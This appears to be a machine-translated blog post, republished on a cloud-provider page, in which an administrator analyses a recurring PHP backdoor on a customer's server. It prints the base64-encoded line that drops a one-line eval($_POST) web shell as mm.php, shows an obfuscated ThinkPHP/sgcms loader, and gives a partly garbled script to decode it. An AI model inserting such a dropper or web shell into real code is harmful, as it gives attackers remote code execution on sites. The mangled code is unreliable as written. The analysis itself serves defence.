PHP is invisible to a single-line backdoor, and the ThinkPHP framework is used to add a password program (base64_decode)
Source: Internet
Author: User
Today, a customer's server is frequently written with a backdoor and deleted. the following code was added to the program. you can pay attention to the parameters of the base64_decode function. Today, a customer's server is frequently written:
Mm. php
Content:
Copy codeThe code is as follows:
Finally, find the first action in a file:
Copy codeThe code is as follows:
Fputs (fopen (base64_decode ("bW0ucGhw"), "w"), base64_decode ("PD9ldmFsKCRfUE9TVFtjXSk7Pz4 = "));
Base64_decode ("bW0ucGhw") // mm. php
Base64_decode ("PD9ldmFsKCRfUE9TVFtjXSk7Pz4 = ")//
In this way, as long as these files are accessed, the mm. php will be automatically created.
If you find mm. php and delete it, there will be more in the future. it is becoming abnormal ~
As follows:
Copy codeThe code is as follows:
PD9ldmFs // base64_encode (" ZXZhbA ==/base64_encode ("eval ");
This is a php code used to package it into a zip file. it is really disgusting that these birds use it to hack other people's websites ~~
The ThinkPHP framework (sgcms) decryption program is as follows:
Copy codeThe code is as follows:
// This file is protected by sgcms & provided under license.
Copyright (C) 2007-2010 www.sgcms.cn, All rights reserved.
$ OOO0O0O00 =__ FILE __;
$ OOO000000 = urldecode ('th6sbehqla4co _ sadfpnr ');
$ OO00O0000 = 21496;
$ Ooo=o0 = $ ooo=00 {4 }.
$ OOO000000 {9}. $ OOO000000 {3}. $ OOO000000 {5 };
$ Ooo=o0. = $ ooo=00 {2}. $ ooo=00 {10}. $ ooo=00 {13}. $ ooo=00 {16 };
$ Ooo=o0. = $ ooo=o0 {3}. $ ooo=00 {11}. $ ooo=00 {12}. $ ooo=o0 {7}. $ ooo=00 {5 };
$ O0o1_o0 = 'ooo=o0 ';
Eval ($ o0o1_o0 ('je9pme9pmdawmd0kt09pmdawmdaweze3fs4kt09pmdawm...
Obviously, some PHP code obfuscation tools were used for obfuscation. Google searched the internet to solve the problem, making it easy for friends who encountered the same problem.
Decrypt the php file:
Copy codeThe code is as follows:
$ Filename = "GlobalAction. class. php"; // file to be decrypted
$ Lines = file ($ filename); // 0, 1, 2 rows
// The first base64 decryption
$ Content = "";
If (preg_match ("/o0o1_o0 \ ('. *' \)/", $ lines [1], $ y ))
{
$ Content = str_replace ("o0o1_o0 ('", "", $ y [0]);
$ Content = str_replace ("')", "", $ content );
$ Content = base64_decode ($ content );
}
// Search for the key in the content after the first base64 decryption
$ Decode_key = "";
If (preg_match ("/\), '. *',/", $ content, $ k ))
{
$ Decode_key = str_replace ("), '", "", $ k [0]);
$ Decode_key = str_replace ("',", "", $ decode_key );
}
// Search for the length of the string to be truncated
$ Str_length = "";
If (preg_match ("/, \ d * \),/", $ content, $ k ))
{
$ Str_length = str_replace ("),", "", $ k [0]);
$ Str_length = str_replace (",", "", $ str_length );
}
// Intercept the encrypted ciphertext of the file
$ Secret = substr ($ lines [2], $ str_length );
// Echo $ Secret;
// Directly restores the ciphertext output
Echo" 'Abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 + /')).
"?> ";
?>
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service